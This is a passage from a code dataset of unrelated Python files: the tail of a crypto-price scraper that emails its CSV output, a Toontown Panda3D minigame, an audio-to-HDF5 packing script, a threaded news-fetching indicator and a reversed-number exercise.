get_webelemente_percentage_value(one_day),\n 'one_week': get_webelemente_percentage_value(one_week),\n 'market_cap':market_cap.text,\n 'volume': volume.text.split(\"\\n\")[0],\n 'circ_supply': circ_supply.text.split(\" \")[0],\n 'week_chart': week_chart.find_element(By.TAG_NAME, \"a\").get_attribute(\"href\"),\n \n }\n table.append(processed_row)\n\nadd_custom_index_cell(table)\n\nprint(\"A criptomoeda que mais valorizou foi: \")\nprint(f\"\\tna ultima hora:{sort_by_field(table=table,field='one_hr')[0]}\")\nprint(f\"\\tno ultimo dia:{sort_by_field(table=table,field='one_day')[0]}\")\nprint(f\"\\tna ultima semana:{sort_by_field(table=table,field='one_week')[0]}\")\n\nprint(\"A criptomoeda que mais desvalorizou foi: \")\nprint(f\"\\tna ultima hora:{sort_by_field(table=table,field='one_hr',reverse=False)[0]}\")\nprint(f\"\\tno ultimo dia:{sort_by_field(table=table,field='one_day',reverse=False)[0]}\")\nprint(f\"\\tna ultima semana:{sort_by_field(table=table,field='one_week',reverse=False)[0]}\")\n\n\nprint(\"As moedas que mais valorizaram foram:\")\nfor row in sort_by_field(table=table,field='custom_index')[:10]:\n print(f\"{row['name']} - {row['price']} - {row['custom_index']}\")\n\nwrite_to_csv(table)\n\ncrypto_mail = Mail_Sender(\n mail_server='smtp.gmail.com',\n port=465,\n sender='matheusereis44@gmail.com',\n receiver='kayoleanndro2@gmail.com',\n subject=f'Dados cripto com arquivo',\n body_msg='Esse é o arquivo data csv em anexo',\n attachment_file_path='crypto_data.csv'\n )\n\ncrypto_mail.send_mail()\n","repo_name":"Frouzin/cryptoscraper","sub_path":"cryptoscraper/crypto_scraper_SE.py","file_name":"crypto_scraper_SE.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1881379132","text":"from direct.fsm import ClassicFSM, State\nfrom direct.fsm import State\nfrom panda3d.core import *\nfrom toontown.toonbase.ToonBaseGlobal import *\nfrom DistributedMinigame import *\nfrom toontown.toonbase import TTLocalizer\nfrom toontown.minigame import CogThiefGameToonSD\nfrom toontown.safezone import Walk\nfrom toontown.toonbase import ToontownTimer\nfrom toontown.minigame import CogThiefWalk\nfrom toontown.minigame import WatchingGameGlobals\nfrom toontown.minigame import CogThiefGameGlobals as CTGG\nfrom toontown.minigame import Watcher\nfrom direct.interval.IntervalGlobal import Wait, LerpFunctionInterval, LerpHprInterval, Sequence, Parallel, Func, SoundInterval, ActorInterval, ProjectileInterval, Track, LerpScaleInterval, WaitInterval, LerpPosHprInterval\nimport math\nWTGG = WatchingGameGlobals\n\nclass DistributedWatchingGame(DistributedMinigame):\n REWARD_COUNTDOWN_TASK = 'WatchingGameRewardCountdown'\n COG_ROTATE_TASK = 'WatchingGameCogRotations'\n\n def __init__(self, cr):\n DistributedMinigame.__init__(self, cr)\n self.gameFSM = ClassicFSM.ClassicFSM('DistributedWatchingGame', \n [State.State('off', self.enterOff, self.exitOff, ['play']), \n State.State('play', self.enterPlay, self.exitPlay, ['cleanup']), \n State.State('cleanup', self.enterCleanup, self.exitCleanup, [])], 'off', 'cleanup')\n self.addChildGameFSM(self.gameFSM)\n\n # Using this variable to silence any errors. Could write my own SD in the future but I'm good for now.\n self.ToonSpeed = 0\n\n # Variable we'll need for the Cog.\n self.CogLookingBack = False\n\n # Variable we'll need to detect if the player is moving.\n self.toonMoving = False\n\n # Variable we'll need for if the player won. Depending on this, the text when the game ends will change.\n self.gameWon = False\n\n self.cogInfo = {}\n\n # The amount of jellybeans to remove from the jelly bean jar whenever you touch the cog. Unused variable.\n # self.jellybeansToTake = 0\n\n # Variable for whether we want to walk in an orthographic way. Obviously, we set it to 0 because ortho-walk isn't what we're goin for.\n self.useOrthoWalk = base.config.GetBool('cog-thief-ortho', 0)\n\n self.walkStateData = Walk.Walk('walkDone')\n\n self.__textGen = TextNode('cogThiefGame')\n self.__textGen.setFont(ToontownGlobals.getSignFont())\n self.__textGen.setAlign(TextNode.ACenter)\n\n def getTitle(self):\n '''Gives the title of the game. '''\n #return TTLocalizer.WatchingGameTitle\n return \"Red Light, Green Light\"\n\n def getInstructions(self):\n '''Gives off the instructions that the players will read. Probably gives it to the AI to display.'''\n #return TTLocalizer.WatchingGameInstructions\n return \"The Toon Resistance needs your help to start Crash Cashbot! Touch the console in the room at the far end to lower Cashbot HQ's defenses but watch out for that cog and don't let them see you moving! Use the arrow keys to move around.\"\n\n def getMaxDuration(self):\n '''Not exactly sure what this is used for. '''\n return WTGG.GameTime\n\n def load(self):\n \n self.notify.debug(\"loading\")\n DistributedMinigame.load(self)\n\n self.initCogInfo()\n\n # Loading up the music and the room that we're going to use.\n self.music = base.loader.loadMusic('phase_10/audio/bgm/Crashed_Cashbot_Trainyard.ogg')\n self.cogWarning = base.loader.loadSfx('phase_3.5/audio/dial/COG_VO_question.ogg')\n self.consoleActivating = base.loader.loadSfx('phase_11/audio/sfx/LB_capacitor_discharge_3.ogg') \n self.sndRewardTick = base.loader.loadSfx('phase_3.5/audio/sfx/tick_counter.ogg')\n \n self.room = loader.loadModel(\"phase_10/models/cashbotHQ/ZONE17a.bam\")\n self.room.setPosHpr(0, 0, 0, 0, 0, 0)\n self.room.setScale(1.0)\n\n # Elevator that looks like the spawn area.\n self.elevator = loader.loadModel(\"phase_11/models/lawbotHQ/LB_ElevatorScaled.bam\")\n self.elevatorDoorCollision = self.elevator.find(\"**/elevator_Door_collisions*\")\n self.elevatorDoorCollision.removeNode()\n self.elevator.setPosHpr(-22, -98, 0, 90, 0, 0)\n self.elevator.setScale(1.0)\n\n # Place with the console and where the minigame should end.\n self.consoleRoom = loader.loadModel(\"phase_10/models/cashbotHQ/ZONE03a.bam\")\n self.consoleRoom.setPosHpr(0.75, 142, 0, 180, 0, 0)\n self.consoleRoom.setScale(1.0)\n \n # We'll put in the console that the player touches to end the minigame.\n self.console = loader.loadModel(\"phase_10/models/cogHQ/CBCraneControls.bam\")\n self.consoleLever = loader.loadModel(\"phase_10/models/cogHQ/CBCraneStick.bam\")\n self.console.setPosHpr(0, 142, 0, 360, 0, 0)\n self.consoleLever.setPosHpr(0, 143.75, 3, 0, 25, 0)\n self.console.setScale(1.0)\n self.consoleLever.setScale(1.0)\n\n # We should add in the collision node to this barrel that the player will touch to end the game.\n self.barrel = loader.loadModel('phase_4/models/minigames/cogthief_game_gagTank')\n self.barrel.setPosHpr(0, 145, 0, 360, 0, 0)\n self.barrel.setScale(0.5)\n self.barrel.hide()\n\n self.loadCogs()\n \n\n collSphere = CollisionSphere(0, 0, 0, 10)\n collSphere.setTangible(0)\n name = 'BarrelSphere'\n collSphereName = self.uniqueName(name)\n collNode = CollisionNode(collSphereName)\n collNode.setFromCollideMask(CTGG.BarrelBitmask)\n #collNode.addSolid(collSphere)\n collNode.addSolid(collSphere)\n colNp = self.barrel.attachNewNode(collNode)\n #colNp.show()\n handler = CollisionHandlerEvent()\n handler.setInPattern('barrelHit-%fn')\n base.cTrav.addCollider(colNp, handler)\n self.accept('barrelHit-' + collSphereName, self.handleEnterBarrel)\n \n\n # Stealing from Cog Thief because they really have everything I need in terms of animation.\n self.toonSDs = {}\n avId = self.localAvId\n toonSD = CogThiefGameToonSD.CogThiefGameToonSD(avId, self)\n self.toonSDs[avId] = toonSD\n toonSD.load()\n\n # Loading up the timer that we'll need. Also, positioning to the top right corner and hiding it.\n\n self.timer = ToontownTimer.ToontownTimer()\n self.timer.posInTopRightCorner()\n self.timer.hide()\n\n # load the jellybean jar image\n # this model comes from PurchaseBase\n purchaseModels = loader.loadModel(\"phase_4/models/gui/purchase_gui\")\n self.jarImage = purchaseModels.find(\"**/Jar\")\n self.jarImage.reparentTo(hidden) \n\n # reward display\n self.rewardPanel = DirectLabel(parent=hidden, relief=None, pos=(-0.173, -1.2, -0.55), scale=0.65, text='', text_scale=0.2, text_fg=(0.95, 0.95, 0, 1), text_pos=(0, -.13), text_font=ToontownGlobals.getSignFont(), image=self.jarImage)\n self.rewardPanelTitle = DirectLabel(parent=self.rewardPanel, relief=None, pos=(0, 0, 0.06), scale=0.08, text=TTLocalizer.CannonGameReward, text_fg=(0.95, 0.95, 0, 1), text_shadow=(0, 0, 0, 1))\n\n # Random comment, who knew every minigame just used the same text from the Cannon Game.\n\n def unload(self):\n '''Here we delete everything so that it doesn't stick around after the game.'''\n\n taskMgr.remove('rotateCog')\n taskMgr.remove('rotateCogPlayer')\n taskMgr.remove('rotateCogDefault')\n\n\n self.notify.debug('unload')\n DistributedMinigame.unload(self)\n self.removeChildGameFSM(self.gameFSM)\n del self.gameFSM\n del self.music\n self.room.removeNode()\n self.elevator.removeNode()\n self.consoleRoom.removeNode()\n self.console.removeNode()\n self.consoleLever.removeNode()\n self.barrel.removeNode()\n self.toonCol.removeNode()\n del self.room\n del self.elevator\n del self.consoleRoom\n del self.console\n del self.consoleLever\n del self.barrel\n del self.toonSDs\n del self.toonCol\n self.timer.destroy()\n del self.timer\n self.rewardPanel.destroy()\n del self.rewardPanel\n self.jarImage.removeNode()\n del self.jarImage\n del self.sndRewardTick\n\n\n def onstage(self):\n self.notify.debug('onstage')\n DistributedMinigame.onstage(self)\n\n # Loading up the place so we can actually see stuff.\n self.room.reparentTo(render)\n self.elevator.reparentTo(render)\n self.consoleRoom.reparentTo(render)\n self.console.reparentTo(render)\n self.consoleLever.reparentTo(render)\n self.barrel.reparentTo(render)\n\n # Not exactly sure how this works but apparently it loads up the cog model, which is awesome.\n for cogIndex in xrange(self.getNumCogs()):\n suit = self.cogInfo[cogIndex]['suit'].suit\n pos = self.cogInfo[cogIndex]['pos']\n suit.reparentTo(render)\n suit.setPos(pos)\n suit.setHpr(0,0,0)\n # h of 540 is the cog turning towards the player.\n\n # We're creating a cog collision capsule so that the player won't go through the cog.\n\n print(\"The suit type below is the cog:\")\n chosenSuitType = self.cogInfo[0]['suit'].returnSuitType()\n print(chosenSuitType)\n\n if chosenSuitType == 'tbc': # the big cheese\n cogCollisionSphere = CollisionBox( (0,0,7), 2.5, 1, 3)\n cogCollisionSphere.setTangible(1)\n name = 'cogBox'\n cogBoxName = self.uniqueName(name)\n cogCollisionNode = CollisionNode(cogBoxName)\n cogCollisionNode.addSolid(cogCollisionSphere)\n self.cogCol = suit.attachNewNode(cogCollisionNode)\n #self.cogCol.show()\n #handler = CollisionHandlerEvent()\n #handler.setInPattern('cogHit-%fn')\n #base.cTrav.addCollider(self.cogCol, handler)\n #self.accept('cogHit-' + cogBoxName, self.handleEnterCog)\n \n elif chosenSuitType == 'le': # legal eagle \n cogCollisionSphere = CollisionBox( (0,0,7), 2.5, 1, 6)\n cogCollisionSphere.setTangible(1)\n name = 'cogBox'\n cogBoxName = self.uniqueName(name)\n cogCollisionNode = CollisionNode(cogBoxName)\n cogCollisionNode.addSolid(cogCollisionSphere)\n self.cogCol = suit.attachNewNode(cogCollisionNode)\n \n elif chosenSuitType == 'ls': # loan shark\n cogCollisionSphere = CollisionBox((0,0,7), 1.5, 1, 6)\n cogCollisionSphere.setTangible(1)\n name = 'cogBox'\n cogBoxName = self.uniqueName(name)\n cogCollisionNode = CollisionNode(cogBoxName)\n cogCollisionNode.addSolid(cogCollisionSphere)\n self.cogCol = suit.attachNewNode(cogCollisionNode)\n\n \n elif chosenSuitType == 'nc' or chosenSuitType == 'ms': # number cruncher or mover & shaker\n cogCollisionSphere = CollisionBox( (0,0,7), 1.5, 1, 5)\n cogCollisionSphere.setTangible(1)\n name = 'cogBox'\n cogBoxName = self.uniqueName(name)\n cogCollisionNode = CollisionNode('cogCollision')\n cogCollisionNode.addSolid(cogCollisionSphere)\n self.cogCol = suit.attachNewNode(cogCollisionNode)\n\n \n elif chosenSuitType == 'mm': # micromanager\n cogCollisionSphere = CollisionBox( (0,0,2), 1.5, 1, 1)\n cogCollisionSphere.setTangible(1)\n name = 'cogBox'\n cogBoxName = self.uniqueName(name)\n cogCollisionNode = CollisionNode('cogCollision')\n cogCollisionNode.addSolid(cogCollisionSphere)\n self.cogCol = suit.attachNewNode(cogCollisionNode)\n\n \n else: # Should be just pencil pusher.\n cogCollisionSphere = CollisionBox( (0,0,6), 1, 0.5, 5)\n cogCollisionSphere.setTangible(1)\n name = 'cogBox'\n cogBoxName = self.uniqueName(name)\n cogCollisionNode = CollisionNode('cogCollision')\n cogCollisionNode.addSolid(cogCollisionSphere)\n self.cogCol = suit.attachNewNode(cogCollisionNode)\n\n\n cogHurtCapsule = CollisionCapsule(0, 10, 0, 0, 20, 0, 5)\n #collPlane = CollisionCapsule(0, 10, 0, 0, 20, 0, 5) \n # we're going to use a capsule to act as the view of the cog. Once touched, run a function that gets the Toon's speed.\n # If the toon's speed is higher than 1, subtract jellybeans.\n\n\n # Let the player see the toon. \n playerToon = base.localAvatar\n playerToon.reparentTo(render)\n self.__placeToon(self.localAvId)\n playerToon.setSpeed(0, 0)\n base.localAvatar.attachCamera()\n \n # Set up the collisions that we'll need to end the game.\n toonCollisionSphere = CollisionSphere(0, 2.5, 2.5, 0.5)\n toonCollisionSphere.setTangible(0)\n toonCollisionNode = CollisionNode('toonCollision')\n toonCollisionNode.addSolid(toonCollisionSphere)\n self.toonCol = playerToon.attachNewNode(toonCollisionNode)\n #self.toonCol.show()\n \n\n toonSD = self.toonSDs[self.localAvId]\n toonSD.enter()\n toonSD.fsm.request('init') # Setting the toon's state to normal so they are just standing still.\n \n # Stopping the player from any input for now.\n self.stopGameWalk()\n\n # Start the music, we need the baller music while infiltrating Cashbot HQ.\n base.playMusic(self.music, looping = 1, volume = 0.7 )\n\n\n def offstage(self):\n '''Welp, now that it's time to start leaving, hide everything! No one needs to know this game existed.'''\n self.notify.debug('offstage')\n DistributedMinigame.offstage(self)\n self.room.hide()\n self.elevator.hide()\n self.consoleRoom.hide()\n self.console.hide()\n self.music.stop()\n self.timer.reparentTo(hidden)\n\n def handleDisabledAvatar(self, avId):\n self.notify.debug('handleDisabledAvatar')\n self.notify.debug('avatar ' + str(avId) + ' disabled')\n DistributedMinigame.handleDisabledAvatar(self, avId)\n\n def setGameReady(self):\n if not self.hasLocalToon:\n return\n self.notify.debug('setGameReady')\n if DistributedMinigame.setGameReady(self):\n return\n\n def setGameStart(self, timestamp):\n if not self.hasLocalToon:\n return\n self.notify.debug('setGameStart')\n DistributedMinigame.setGameStart(self, timestamp)\n self.rewardPanel.reparentTo(base.a2dTopRight)\n self.__startRewardCountdown()\n #self.__startCogRotations()\n self.timer.show()\n self.timer.countdown(WTGG.GameTime, self.__gameTimerExpired)\n self.gameFSM.request('play')\n\n def enterOff(self):\n self.notify.debug('enterOff')\n\n def exitOff(self):\n pass\n\n def enterPlay(self):\n self.notify.debug('enterPlay')\n self.walkStateData.enter()\n self.accept('arrow_up', self.keyPressed)\n self.accept('arrow_right', self.keyPressed)\n self.accept('arrow_left', self.keyPressed)\n self.accept('arrow_down', self.keyPressed)\n\n self.accept('arrow_up-up', self.keyReleased)\n self.accept('arrow_right-up', self.keyReleased)\n self.accept('arrow_left-up', self.keyReleased)\n self.accept('arrow_down-up', self.keyReleased)\n\n chosenTime = self.randomNumGen.randint(5, WTGG.GameTime / 2)\n print(WTGG.GameTime - chosenTime)\n\n taskMgr.doMethodLater(chosenTime-1, self.playWarning, 'rotateCog')\n taskMgr.doMethodLater(chosenTime, self.rotateCogTowardsPlayer, 'rotateCogPlayer')\n taskMgr.doMethodLater(chosenTime+5, self.rotateCogTowardsDefault, 'rotateCogDefault')\n\n self.walkStateData.fsm.request('walking')\n\n def keyPressed(self):\n 'Basically if you use any of the movement keys, the cog will know.'\n self.toonMoving = True\n #print(\"The player moved.\")\n \n def keyReleased(self):\n 'Basically if you use any of the movement keys, the cog will know.'\n self.toonMoving = False\n #print(\"The player has stopped moving.\")\n\n def exitPlay(self):\n self.walkStateData.exit()\n pass\n\n def enterCleanup(self):\n self.__killRewardCountdown()\n if hasattr(self, 'jarIval'):\n self.jarIval.finish()\n del self.jarIval\n self.notify.debug('enterCleanup')\n for key in self.cogInfo:\n cogThief = self.cogInfo[key]['suit']\n cogThief.cleanup()\n\n def exitCleanup(self):\n pass\n\n # This is where all my personally created (and some copied over from Cog Thief) functions start.\n\n def initCogInfo(self):\n for cogIndex in xrange(self.getNumCogs()):\n self.cogInfo[cogIndex] = {'pos': Point3( VBase3(0.75, 100, 0) ),\n 'goal': CTGG.NoGoal,\n 'goalId': CTGG.InvalidGoalId,\n 'suit': None}\n\n return\n\n def __startRewardCountdown(self):\n taskMgr.add(self.__updateRewardCountdown, self.REWARD_COUNTDOWN_TASK)\n\n def __killRewardCountdown(self):\n taskMgr.remove(self.REWARD_COUNTDOWN_TASK)\n\n def __updateRewardCountdown(self, task):\n '''Updates the jellybean jar depending on what time it is.''' \n if self.rewardPanel['text'] == '0':\n self.gameOver()\n self.sendUpdate('changeStatusToLoss')\n else:\n timeElapsed = self.getCurrentGameTime()\n if self.rewardPanel['text'] != str(int(WTGG.GameTime - timeElapsed)):\n self.rewardPanel['text'] = str(int(WTGG.GameTime - timeElapsed))\n s = self.rewardPanel.getScale()\n self.jarIval = Parallel(Sequence(self.rewardPanel.scaleInterval(0.15, s * 3.0 / 4.0, blendType='easeOut'), self.rewardPanel.scaleInterval(0.15, s, blendType='easeIn')), SoundInterval(self.sndRewardTick), name='cogThiefGameRewardJarThrob')\n self.jarIval.start()\n return Task.again\n\n def rotateCogTowardsPlayer(self, Task):\n suit = self.cogInfo[0]['suit']\n suitBody = self.cogInfo[0]['suit'].suit \n\n initialBoxRange = 10\n\n for i in range(20):\n cogCollisionBox = CollisionBox( (0,initialBoxRange,5), 7, 10, 5)\n initialBoxRange += 5\n cogCollisionBox.setTangible(0)\n name = 'cogBox'\n cogBoxName = self.uniqueName(name)\n cogCollisionNode = CollisionNode(cogBoxName)\n cogCollisionNode.addSolid(cogCollisionBox)\n self.cogCol = suitBody.attachNewNode(cogCollisionNode)\n self.cogCol.show()\n handler = CollisionHandlerEvent()\n handler.setInPattern('cogHit-%fn')\n base.cTrav.addCollider(self.cogCol, handler)\n self.accept('cogHit-' + cogBoxName, self.handleEnterBox)\n\n suit.rotateCogTowardToon()\n suit.CogLookingBack = True\n return Task.done\n \n def handleEnterBox(self, colEntry):\n if self.toonMoving:\n toon = self.localAvId\n self.__placeToon(self.localAvId)\n \n def playWarning(self, Task):\n self.cogWarning.play()\n return Task.done\n \n def rotateCogTowardsDefault(self, Task):\n suit = self.cogInfo[0]['suit']\n suitBody = self.cogInfo[0]['suit'].suit\n self.cogCol.removeNode()\n suit.rotateCogBackward()\n suit.CogLookingBack = False\n return Task.done\n \n def loadCogs(self): # I listed these cogs from the top of the ladder to the bottom.\n suitTypes = [\n 'tbc', # The big cheese\n 'le', # Legal Eagle\n 'ls', # loan Shark\n 'nc', # Number Cruncher\n 'ms', # Mover & Shaker\n 'mm', # Micromanager\n 'p' # Pencil Pusher\n ] \n for suitIndex in xrange(self.getNumCogs()):\n st = self.randomNumGen.choice(suitTypes)\n suit = Watcher.Watcher(st, self)\n self.cogInfo[suitIndex]['suit'] = suit\n\n def getNumCogs(self):\n '''We just want one cog. Maybe potentially get more at some point? We'll see.'''\n return 1\n\n def startGameWalk(self):\n if self.useOrthoWalk:\n self.gameWalk.start()\n else:\n self.gameWalk.enter()\n self.gameWalk.fsm.request('walking')\n\n def stopGameWalk(self):\n if self.useOrthoWalk:\n self.gameWalk.stop()\n else:\n self.gameWalk.exit()\n\n def destroyGameWalk(self):\n self.notify.debug('destroyOrthoWalk')\n if self.useOrthoWalk:\n self.gameWalk.destroy()\n del self.gameWalk\n else:\n self.notify.debug('TODO destroyGameWalk')\n\n def initGameWalk(self):\n self.notify.debug('startOrthoWalk')\n if self.useOrthoWalk:\n\n def doCollisions(oldPos, newPos, self = self):\n x = bound(newPos[0], CTGG.StageHalfWidth, -CTGG.StageHalfWidth)\n y = bound(newPos[1], CTGG.StageHalfHeight, -CTGG.StageHalfHeight)\n newPos.setX(x)\n newPos.setY(y)\n return newPos\n\n orthoDrive = OrthoDrive(self.ToonSpeed, customCollisionCallback=doCollisions, instantTurn=True)\n self.gameWalk = OrthoWalk(orthoDrive, broadcast=not self.isSinglePlayer())\n else:\n self.gameWalk = CogThiefWalk.CogThiefWalk('walkDone')\n forwardSpeed = self.ToonSpeed / 2.0\n base.mouseInterfaceNode.setForwardSpeed(forwardSpeed)\n multiplier = forwardSpeed / ToontownGlobals.ToonForwardSpeed\n base.mouseInterfaceNode.setRotateSpeed(ToontownGlobals.ToonRotateSpeed * 4)\n\n\n def __placeToon(self, avId):\n \"\"\"Placing a toon in the starting position.\"\"\"\n toon = self.getAvatar(avId)\n toon.setPos(-16,-97,0) # It doesn't matter since the game is single player.\n toon.setHpr(270,0,0)\n\n def handleEnterBarrel(self, colEntry):\n # sends a message to the AI telling them \"HEY, we won the game! Give us more jellybeans!\"\n self.consoleActivating.play()\n self.gameWon = True\n self.showResults()\n self.gameOver()\n self.sendUpdate('changeStatusToWin')\n \n def handleEnterCog(self, colEntry):\n '''sends a message to the AI to reduce the amount of jellybeans and the jellybean jar reflects this change.\n Now an unused function. '''\n print(\"Cog has been collided with\")\n\n #self.jellybeansToTake += 5\n #s = self.rewardPanel.getScale()\n #self.jarIval = Parallel(Sequence(self.rewardPanel.scaleInterval(0.15, s * 3.0 / 4.0, blendType='easeOut'), self.rewardPanel.scaleInterval(0.15, s, blendType='easeIn')), SoundInterval(self.sndRewardTick), name='cogThiefGameRewardJarThrob')\n #self.jarIval.start()\n #self.sendUpdate('reduceJellybeans', [5])\n \n def __gameTimerExpired(self):\n self.notify.debug('game timer expired')\n self.showResults()\n self.gameOver()\n\n def showResults(self):\n self.stopGameWalk()\n result = ''\n\n if self.gameWon == False:\n result = TTLocalizer.WatchingGameLost\n else:\n result = TTLocalizer.WatchingGameWon\n \n\n perfectTextSubnode = hidden.attachNewNode(self.__genText(result))\n perfectText = hidden.attachNewNode('perfectText')\n perfectTextSubnode.reparentTo(perfectText)\n frame = self.__textGen.getCardActual()\n offsetY = -abs(frame[2] + frame[3]) / 2.0\n perfectTextSubnode.setPos(0, 0, offsetY)\n perfectText.setColor(1, 0.1, 0.1, 1)\n\n def fadeFunc(t, text = perfectText):\n text.setColorScale(1, 1, 1, t)\n\n def destroyText(text = perfectText):\n text.removeNode()\n\n textTrack = Sequence(Func(perfectText.reparentTo, aspect2d), Parallel(LerpScaleInterval(perfectText, duration=0.5, scale=0.3, startScale=0.0), LerpFunctionInterval(fadeFunc, fromData=0.0, toData=1.0, duration=0.5)), Wait(2.0), Parallel(LerpScaleInterval(perfectText, duration=0.5, scale=1.0), LerpFunctionInterval(fadeFunc, fromData=1.0, toData=0.0, duration=0.5, blendType='easeIn')), Func(destroyText), WaitInterval(0.5))\n\n self.resultIval = Parallel(textTrack)\n self.resultIval.start()\n \n \n def __genText(self, text):\n self.__textGen.setText(text)\n return self.__textGen.generate()\n\n\n","repo_name":"SomethingRandom0768/ToontownMinigames","sub_path":"DistributedWatchingGame.py","file_name":"DistributedWatchingGame.py","file_ext":"py","file_size_in_byte":24900,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"39741674015","text":"import argparse\nimport os\nprint(os.getcwd())\nimport pathlib\nimport time\nfrom concurrent.futures import ProcessPoolExecutor\nfrom typing import List\n\nimport h5py\nimport numpy as np\n\nfrom moyu.utils.calculate import float32_to_int16\nfrom moyu.utils.audio import load_audio\n\ndef pack_audios_to_hdf5s(args) -> None:\n r\"\"\"Pack (resampled) audio files into hdf5 files to speed up loading.\n\n Args:\n dataset_dir: str\n split: str, 'train' | 'test'\n source_type: str\n hdf5s_dir: str, directory to write out hdf5 files\n sample_rate: int\n channels_num: int\n mono: bool\n\n Returns:\n None\n \"\"\"\n\n # arguments & parameters\n audios_dir = args.audios_dir\n hdf5s_dir = args.hdf5s_dir\n sample_rate = args.sample_rate\n mono = False\n\n os.makedirs(hdf5s_dir, exist_ok=True)\n\n audio_names = sorted(os.listdir(audios_dir))\n\n params = []\n\n for audio_index, audio_name in enumerate(audio_names):\n\n audio_path = os.path.join(audios_dir, audio_name)\n\n hdf5_path = os.path.join(\n hdf5s_dir, \"{}.h5\".format(pathlib.Path(audio_name).stem)\n )\n\n source_type = \"waveform\"\n\n param = (\n audio_index,\n audio_name,\n source_type,\n audio_path,\n mono,\n sample_rate,\n hdf5_path,\n )\n params.append(param)\n\n start_time = time.time()\n\n with ProcessPoolExecutor(max_workers=None) as pool:\n # Maximum works on the machine\n pool.map(write_single_audio_to_hdf5, params)\n\n print(\"Pack hdf5 time: {:.3f} s\".format(time.time() - start_time))\n\n\ndef write_single_audio_to_hdf5(param: List):\n r\"\"\"Write single audio into hdf5 file.\"\"\"\n\n (\n audio_index,\n audio_name,\n source_type,\n audio_path,\n mono,\n sample_rate,\n hdf5_path,\n ) = param\n\n with h5py.File(hdf5_path, \"w\") as hf:\n\n hf.attrs.create(\"audio_name\", data=audio_name, dtype=\"S100\")\n hf.attrs.create(\"sample_rate\", data=sample_rate, dtype=np.int32)\n\n audio = load_audio(audio_path=audio_path, mono=mono, sample_rate=sample_rate)\n # audio: (channels_num, audio_samples)\n\n hf.create_dataset(\n name=source_type, data=float32_to_int16(audio), dtype=np.int16\n )\n\n print('{} Write hdf5 to {}'.format(audio_index, hdf5_path))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n \n parser.add_argument(\n \"--audios_dir\",\n type=str,\n required=True,\n help=\"Directory of the instruments solo dataset.\",\n )\n parser.add_argument(\n \"--hdf5s_dir\",\n type=str,\n required=True,\n help=\"Directory to write out hdf5 files.\",\n )\n parser.add_argument(\n \"--sample_rate\", type=int, required=True, help=\"Sample rate.\"\n )\n\n args = parser.parse_args()\n\n pack_audios_to_hdf5s(args)\n","repo_name":"rookiejune/binaural_rendering","sub_path":"moyu/data/pack_audios_to_hdf5s/ambisonic-binaural.py","file_name":"ambisonic-binaural.py","file_ext":"py","file_size_in_byte":2929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26257435516","text":"import logging\nimport os\nimport sys\nfrom threading import Thread\n\ntry:\n from Queue import Queue\nexcept:\n from queue import Queue\n\nimport gi\n\ngi.require_version('Gtk', '3.0')\ngi.require_version('AppIndicator3', '0.1')\n\nimport requests\nimport notify2\n\nfrom .utils import get_news_sources_from_file, delete_redundant_items\n\nNUM_THREADS = 8\nMESSAGE = ' NEWS_API_KEY not found!! \\nHave you stored it in ~/.profile?'\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef show_alert_notifications():\n \"\"\"\n Shows the alert notification pop-up window\n \"\"\"\n # Initialize the d-bus connection and create the notification object\n notify2.init(\"News Indicator\")\n n = notify2.Notification(None)\n\n # Set the urgency level and the timeout\n n.set_urgency(notify2.URGENCY_NORMAL)\n n.set_timeout(9000)\n\n n.update('News Indicator', message=MESSAGE)\n n.show()\n\n\nclass DownloadWorker(Thread):\n \"\"\"\n Main class that retrieves the actual articles from the corresponding urls,using multiple threads.\n \"\"\"\n\n def __init__(self, input_queue, out_queue):\n # Init threads and queues\n Thread.__init__(self, target=self.download_content)\n self.input_queue = input_queue\n self.out_queue = out_queue\n\n def __repr__(self):\n return self.input_queue\n\n def _form_news_structure(self, json_news):\n keys_to_remove = ['status', 'sortBy']\n sub_keys_to_remove = ['description', 'author', 'publishedAt']\n\n filtered_news_sources_format = delete_redundant_items(json_news, keys_to_remove)\n\n # Get the first four articles from each source\n for _, article in enumerate(filtered_news_sources_format['articles'][:2]):\n final_news_sources_format = delete_redundant_items(article, sub_keys_to_remove)\n self.out_queue.put(final_news_sources_format)\n\n return json_news\n\n def download_content(self):\n \"\"\"\n Asynchronously downloads the content from the news sources.\n \"\"\"\n while True:\n link = self.input_queue.get()\n response = requests.get(link).json()\n\n self._form_news_structure(response)\n\n self.input_queue.task_done()\n\n\nclass DownloadNewsWorker(object):\n \"\"\"\n Class used to get the news from the sources file and then put them in the input queue\n \"\"\"\n\n def __init__(self, output_queue):\n # Init output queue\n self.output_queue = output_queue\n\n def __repr__(self):\n return self.output_queue\n\n def retrieve_news(self):\n # retrieves news\n try:\n # api_key = str(os.environ.get('NEWS_API_KEY'))\n api_key = os.environ['NEWS_API_KEY']\n except KeyError:\n show_alert_notifications()\n sys.exit(1)\n\n # Create an input_queue to store all API endpoints\n input_queue = Queue()\n\n # Create the worker threads. The number is arbitrary and will be optimized based on performance\n for i in range(NUM_THREADS):\n download_worker = DownloadWorker(input_queue, self.output_queue)\n # Daemonize the working thread so as the main thread always exits\n download_worker.setDaemon(True)\n download_worker.start()\n\n news_sources = get_news_sources_from_file()\n # Put each news source into the queue\n for _, val in news_sources.items():\n news_item = '='.join([val, api_key])\n input_queue.put(news_item)\n\n input_queue.join()\n","repo_name":"0dysseas/news-indicator","sub_path":"newsindicator/get_news.py","file_name":"get_news.py","file_ext":"py","file_size_in_byte":3486,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"52"} +{"seq_id":"40537305989","text":"n=int(input())\r\nfor i in range(n):\r\n st=input().split()\r\n x=int(st[0])\r\n y=int(st[1])\r\n s=0\r\n r=0\r\n ab=0\r\n while(x!=0):\r\n n=x%10\r\n s=s*10+n\r\n x=x//10\r\n m=s\r\n while(y!=0):\r\n p=y%10\r\n r=r*10+p\r\n y=y//10\r\n k=r\r\n summ=m+k\r\n while(summ!=0):\r\n mn=summ%10\r\n ab=ab*10+mn\r\n summ=summ//10\r\n print(ab)\r\n \r\n\r\n\r\n","repo_name":"harshithprathi/Python-projects-part-2","sub_path":"Adding Reversed Numbers.py","file_name":"Adding Reversed 